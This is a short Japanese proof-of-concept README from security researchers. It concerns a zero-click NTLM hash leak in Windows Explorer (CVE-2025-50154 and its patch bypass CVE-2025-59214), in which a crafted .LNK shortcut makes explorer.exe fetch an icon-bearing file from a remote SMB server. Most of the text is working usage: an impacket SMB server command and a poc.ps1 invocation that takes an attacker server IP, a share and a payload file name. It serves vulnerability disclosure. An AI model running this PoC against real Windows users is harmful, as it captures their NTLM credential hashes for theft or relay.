著者: Ruben Enkaoua と Cymulate
最初のブログ: Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154)
2つ目のブログ: Patched Twice, Still Bypassed: New NTLM Leak (CVE-2025-50154 Patch Bypass)
最近パッチが適用された元の脆弱性は、explorer.exe がリモート SMB サーバー上にホストされたアイコンを持つ .LNK ショートカットファイルのアイコンをレンダリングしたときにトリガーされる 0 クリック NTLM ハッシュ開示でした。
パッチ適用後、explorer.exe はリモート SMB パスからアイコンを読み込まなくなり、NTLM ハッシュの自動開示が防止されます。
更新: CVE-2025-50154 のパッチは全く機能しませんでした。私たちはこれを報告し、この脆弱性には新しい CVE である CVE-2025-59214 が割り当てられました。この PoC は両方の CVE に関連します。
以下のような .LNK ファイルを作成することで:
explorer.exe プロセスは、RT_GROUP_ICON および RT_ICON リソースから PE アイコンを抽出するために、依然としてリモートファイルを取得します。

# put the binary (for example Taskmgr.exe) in the directory and run the SMB server.
impacket-smbserver share . -smb2support
# Replace the values with the path, the responder server IP and the file name on the server. Note: It can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"